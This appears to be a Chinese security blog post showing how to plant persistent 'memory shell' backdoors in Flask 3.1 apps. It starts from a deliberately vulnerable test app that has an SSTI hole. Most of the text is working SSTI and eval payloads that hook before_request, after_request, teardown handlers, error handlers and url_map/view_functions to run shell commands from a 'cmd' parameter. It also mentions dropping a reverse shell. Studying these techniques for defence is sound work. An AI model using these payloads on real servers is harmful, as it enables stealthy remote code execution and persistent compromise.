环境:
Flask:3.1.0

# 测试代码

from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
    person = "NO ARG"
    if request.args.get('name'):
        person = request.args.get('name')
        #eval(person)
    template = '<h2> %s!</h2>' % person
    return render_template_string(template)
@app.route('/config')
def config():
    # 查看 config 变量中的键值
    template = '''
    <pre>
    
    {% for key, value in config.items()  %}
    {{ "%-25s"|format(key) }} → {{ value }}
    {% endfor %}
    
    </pre>
    '''
    return render_template_string(template, config=app.config)
if __name__ == "__main__":
    print("Listening on port 5000. ")
    app.run()

所有演示都是基于理想情况下的本地测试,具体场景请具体对待

# add_url_rule 的限制

内存马主要是通过添加路由,并定义一个匿名函数从而执行恶意命令,以前几乎都是通过 add_url_rule 来添加路由
经典 payload:

?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

但是在新 flask 环境下会报错:

浅浅调试一下,可以发现现在的 flask 对 add_url_rule 做了一些 check
当你使用 add_url_rule
会把 self._got_first_request 赋值为 True,表示你已经用过一次了

随后也会进行一次检查

位于 sansio/app.py 下的 check_setup_finished 函数会对 self._got_first_request 的值进行判断,先前被赋值为 True 的话,直接就给你报错喽

# before_request

先来看这个修饰器为什么能被利用

可以定义在每个请求前执行的操作
能够将匿名函数 f 加入到 self.before_request_funcs 字典中并返回 f
测试 payload:
去掉 eval 的注释直接用

?name=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('ls').read())

或者考虑 ssti:

?name={{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('ls').read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

将匿名函数部分采用 lambda 表达式来执行命令,第一次注册 before_request,在第二次发送请求时才会执行,从而执行命令

但是,这个修饰器会在任意请求执行前执行,会影响正常业务

# after_request


操作和 before 的十分相似,不过是改为了在每次请求后才执行,稍微改一下 payload

?name=app.after_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('ls').read())

结果给出了报错

看起来是 lambda 定义和调用不匹配导致的
回过头再去看对于 after_request 的解释,才发现函数需要使用响应对象调用,并且必须返回响应对象

重新修改一下匿名函数

?name=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get('cmd')).read())')==None else resp)

这里对这个 payload 解释一下,分为这几个部分
lambda resp: : 定义了参数
if request.args.get('cmd') and exec(...)==None : 当传入 cmd 参数时才执行(exec 无回显,所以其值一定是 None)
exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get('cmd') :
这里将 CmdResp 设置为全局变量,通过 make_response 来创建响应对象
else resp : 没有使用 cmd 时也需要正常返回

同样给出 ssti 下的形式:

?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

同样打两次,第一次注册

第二次会在请求后能执行 cmd 参数中传入的命令

# teardown_request

这个修饰器和前面的 after_request 很像啊,而且都是在请求后执行,但是 after_request 是在响应发送给客户端之前执行;teardown_request 则是在在响应发送给客户端后执行,并且抛出的异常会被忽略

根据说明给出测试 payload:

?name=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').popen('ls').read())



看样子是成功执行了,但是无回显,在学长的建议下改了一下 payload:

?name=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').popen('ls > 1.txt').read())

把结果重定向到新文件中

ssti 写法:

?name={{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda a: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=ls>1.txt

# teardown_appcontext


相似的逻辑,这个修饰器是在应用上下文从栈中弹出之前运行
别的不说先按添加匿名函数的规则打一发看看

?name=app.teardown_appcontext_funcs.append(lambda a:__import__('os').popen('ls').read())


还是一样的通过写文件来获得回显

但是在尝试 ssti 写法时却遇到了问题

?name={{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda a: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=ls>1.txt


原来是在没有请求的情况下访问了 request 导致 flask 无法构建上下文所以 Runtime error 了
看来是只能写静态命令了,最多出网的情况下写反弹 shell

# errorhandler

errorhandler 和前面几个利用方式不太一样

一点点捋一下:
首先根据修饰器说明可以知道,这是用于处理异常的,并且能返回一个函数 f

跟进 register_error_handler
code_or_exception 可以是 HTTP 状态码或者是一个异常类
f 是想调用的处理函数
f: ft.ErrorHandlerCallable 是将 f 注册进 Flask 的内部错误处理映射表
_get_exc_class_and_code 统一规范一下格式
self.error_handler_spec[None][code][exc_class] = f 调用注册的全局错误处理器

想要利用就需要控制 code 和 exc_class
这两个是可以通过直接利用 _get_exc_class_and_code 这个修饰器得到的,这样一来就万事具备了
通过最容易触发的 HTTP 码 404 来利用
payload:

?name={{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}

不想用 ssti 测试的话将 eval () 改成 exec () 也能实现

成功打入

访问不存在的路由获得回显

# url_map&view_functions

之前简单讨论过 add_url_route 在新版 flask 已经不能被利用来进行内存马注入,但是看了 4uuu Nya 师傅的文章发现还能通过手动构建 add_url_route 来植入内存马

add_url_route 的处理过程中, url_mapview_functions 是实现路由添加的两大支柱,前面的都是一些逻辑解析
url_map 是 url 到 endpoint 名称的映射表,储存了 rule 规则
view_functions 负责 endpoint 到视图函数的映射
手动构建这两个就能实现添加路由的操作
先添加新的 rule 规则

?name=app.url_map.add(app.url_rule_class('/test', methods=['GET'],endpoint='shell'))

创建完之后访问 /test 就会发现还缺少指定的 endpoint

更新 endpoint 到视图函数的映射

?name=app.view_functions.update({'shell': lambda:__import__('os').popen( __import__('flask').request.args.get('cmd')).read()})


上述都是直接利用 eval 的写法,改用 ssti 只需要获得 app 就行

?name={{url_for.__globals__.__builtins__.exec("app.url_map.add(app.url_rule_class('/test',methods=['GET'],endpoint='shell'));app.view_functions.update({'shell':lambda:__import__('os').popen(__import__('flask').request.args.get('cmd')).read()})",{'request': url_for.__globals__['request'], 'app': url_for.__globals__['current_app']})}}

参考文章
https://xz.aliyun.com/news/13976
https://tiangonglab.github.io/blog/tiangongarticle038/
https://the0n3.top/pages/77dbc1/# 低版本 flask 内存马